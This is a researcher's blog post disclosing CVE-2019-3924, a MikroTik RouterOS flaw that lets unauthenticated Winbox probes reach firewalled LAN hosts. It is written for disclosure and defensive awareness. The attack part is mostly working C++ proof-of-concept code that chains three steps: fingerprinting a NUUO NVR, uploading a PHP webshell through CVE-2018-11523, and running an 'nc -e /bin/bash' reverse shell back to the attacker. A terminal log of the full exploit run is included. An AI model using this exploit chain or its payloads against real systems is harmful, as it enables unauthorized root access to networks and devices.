MikroTik Firewall & NAT Bypass

Exploitation from WAN to LAN

A Design Flaw

In Making It Rain with MikroTik, I mentioned an undisclosed vulnerability in RouterOS. The vulnerability, which I assigned CVE-2019–3924, allows a remote, unauthenticated attacker to proxy crafted TCP and UDP requests through the router’s Winbox port. Proxied requests can even bypass the router’s firewall to reach LAN hosts.

Mistakes were made

The proxying behavior is neat, but, to me, the most interesting aspect is that attackers on the WAN can deliver exploits to (nominally) firewall protected hosts on the LAN. This blog will walk through that attack. If you want to skip right to the, sort of complicated, proof of concept video then here it is:

A PoC with a network diagram? Pass.

The Setup

To demonstrate this vulnerability, I need a victim. I don’t have to look far because I have a NUUO NVRMini2 sitting on my desk due to some previous vulnerability work. This NVR is a classic example of a device that should be hidden behind a firewall and probably segmented away from everything else on your network.

Join an IoT Botnet in one easy step!

In my test setup, I’ve done just that. The NVRMini2 sits behind a MikroTik hAP router with both NAT and firewall enabled.

NVRMini2 should be safe from the attacker at 192.168.1.7

One important thing about this setup is that I opened port 8291 in the router’s firewall to allow Winbox access from the WAN. By default, Winbox is only available on the MikroTik hAP via the LAN. Don’t worry, I’m just simulating real world configurations.

The attacker, 192.168.1.7, shouldn’t be able to initiate communication with the victim at 10.0.0.252. The firewall should prevent that. Let’s see how the attacker can get at 10.0.0.252 anyways.

Probing to Bypass the Firewall

CVE-2019–3924 is the result of the router not enforcing authentication on network discovery probes. Under normal circumstances, The Dude authenticates with the router and uploads the probes over the Winbox port. However, one of the binaries that handles the probes (agent) fails to verify whether the remote user is authenticated.

Probes are a fairly simple concept. A probe is a set of variables that tells the router how to talk to a host on a given port. The probe supports up to three requests and responses. Responses are matched against a provided regular expression. The following is the builtin HTTP probe.

The HTTP probe sends a HEAD request to port 80 and checks if the response starts with “HTTP/1.”

In order to bypass the firewall and talk to the NVRMini2 from 192.168.1.7, the attacker just needs to provide the router with a probe that connects to 10.0.0.252:80. The obvious question is, “How do you determine if a LAN host is an NVRMini2?”

The NVRMini2 and the various OEM variations all have very similar landing page titles.

Using the title tag, you can construct a probe that detects an NVRMini2. The following is taken from my proof on concept on GitHub. I’ve again used my WinboxMessage implementation.

bool find_nvrmini2(Winbox_Session& session,

std::string& p_address,

boost::uint32_t p_converted_address,

boost::uint32_t p_converted_port)

{

WinboxMessage msg;

msg.set_to(104);

msg.set_command(1);

msg.set_request_id(1);

msg.set_reply_expected(true);

msg.add_string(7, "GET / HTTP/1.1\r

Host:" + p_address +

"\r

Accept:*/*\r

\r

");

msg.add_string(8, "Network Video Recorder Login</title>");

msg.add_u32(3, p_converted_address); // ip address

msg.add_u32(4, p_converted_port); // port session.send(msg);

msg.reset(); if (!session.receive(msg))

{

std::cerr << "Error receiving a response." << std::endl;

return false;

} if (msg.has_error())

{

std::cerr << msg.get_error_string() << std::endl;

return false;

} return msg.get_boolean(0xd);

}

You can see I constructed a probe that sends an HTTP GET request and looks for “Network Video Recorder Login</title>” in the response. The router, 192.168.1.70, will take in this probe and send it to the host I’ve defined in msg.add_u32(3) and msg.add_u32(4). In this case, that would be 10.0.0.252 and 80 respectively. This logic bypasses the normal firewall rules.

The following screenshot shows the attacker (192.168.1.7) using the probe against 10.0.0.254 (Ubuntu 18.04) and 10.0.0.252 (NVRMini2). You can see that the attacker can’t even ping these devices. However, by using the router’s Winbox interface the attacker is able to reach the LAN hosts.

Discovery of the NVRMini2 on the supposedly unreachable LAN is neat, but I want to go a step further. I want to gain full access to this network. Let’s find a way to exploit the NVRMini2.

Crafting an Exploit

The biggest issue with probes is the size limit. The requests and response regular expressions can’t exceed a combined 220 bytes. That means any exploit will have to be concise. My NVRMini2 stack buffer overflow is anything but concise. It takes 170 bytes just to overflow the cookie buffer. Not leaving room for much else. But CVE-2018–11523 looks promising.

The code CVE-2018–11523 exploits. Yup.

CVE-2018–11523 is an unauthenticated file upload vulnerability. An attacker can use it to upload a PHP webshell. The proof of concept on exploit-db is 461 characters. Way too big. However, with a little ingenuity it can be reduced to 212 characters.

POST /upload.php HTTP/1.1

Host:a

Content-Type:multipart/form-data;boundary=a

Content-Length:96 --a

Content-Disposition:form-data;name=userfile;filename=a.php <?php system($_GET['a']);?>

--a

This exploit creates a minimalist PHP webshell at a.php. Translating it into a probe request is fairly trivial.

bool upload_webshell(Winbox_Session& session,

boost::uint32_t p_converted_address,

boost::uint32_t p_converted_port)

{

WinboxMessage msg;

msg.set_to(104);

msg.set_command(1);

msg.set_request_id(1);

msg.set_reply_expected(true);

msg.add_string(7, "POST /upload.php HTTP/1.1\r

Host:a\r

Content-Type:multipart/form-data;boundary=a\r

Content-Length:96\r

\r

--a

Content-Disposition:form-data;name=userfile;filename=a.php



<?php system($_GET['a']);?>

--a

");

msg.add_string(8, "200 OK");

msg.add_u32(3, p_converted_address);

msg.add_u32(4, p_converted_port); session.send(msg);

msg.reset(); if (!session.receive(msg))

{

std::cerr << "Error receiving a response." << std::endl;

return false;

} if (msg.has_error())

{

std::cerr << msg.get_error_string() << std::endl;

return false;

} return msg.get_boolean(0xd);

}

Sending the above probe request through the router to 10.0.0.252:80 should create a basic PHP webshell.

Crafting a Reverse Shell

At this point you could start blindly executing commands on the NVR using the webshell. But being unable to see responses and constantly having to worry about the probe’s size restriction is annoying. Establishing a reverse shell back to the attacker’s box on 192.168.1.7 is a far more ideal solution.

Now, it seems to me that there is little reason for an embedded system to have nc with the -e option. Reason rarely seems to have a role in these types of things though. The NVRMini2 is no exception. Of course, nc -e is available.

bool execute_reverse_shell(Winbox_Session& session,

boost::uint32_t p_converted_address,

boost::uint32_t p_converted_port,

std::string& p_reverse_ip,

std::string& p_reverse_port)

{

WinboxMessage msg;

msg.set_to(104);

msg.set_command(1);

msg.set_request_id(1);

msg.set_reply_expected(true);

msg.add_string(7, "GET /a.php?a=(nc%20" + p_reverse_ip + "%20" + p_reverse_port + "%20-e%20/bin/bash)%26 HTTP/1.1\r

Host:a\r

\r

");

msg.add_string(8, "200 OK");

msg.add_u32(3, p_converted_address);

msg.add_u32(4, p_converted_port); session.send(msg);

msg.reset(); if (!session.receive(msg))

{

std::cerr << "Error receiving a response." << std::endl;

return false;

} if (msg.has_error())

{

std::cerr << msg.get_error_string() << std::endl;

return false;

} return msg.get_boolean(0xd);

}

The probe above executes the command “nc 192.168.1.7 1270 -e /bin/bash” via the webshell at a.php. The nc command will connect back to the attacker’s box with a root shell.

Putting It All Together

I’ve combined the three sections above into a single exploit. The exploit connects to the router, sends a discovery probe to a LAN target, uploads a webshell, and executes a reverse shell back to a WAN host.

albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270

[!] Running in exploitation mode

[+] Attempting to connect to a MikroTik router at 192.168.1.70:8291

[+] Connected!

[+] Looking for a NUUO NVR at 10.0.0.252:80

[+] Found a NUUO NVR!

[+] Uploading a webshell

[+] Executing a reverse shell to 192.168.1.7:1270

[+] Done!

albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$

The listener gets the root shell as expected.

Conclusion

I found this bug while scrambling to write a blog to respond to a Zerodium tweet. I was not actively doing MikroTik research. Honestly, I’m just trying to get ready for BSidesDublin. What are the people actually doing MikroTik research finding? Are they turning their bugs over to MikroTik (for nothing) or are they selling those bugs to Zerodium?

Do I have to spell it out for you?

Don’t expose Winbox to the internet.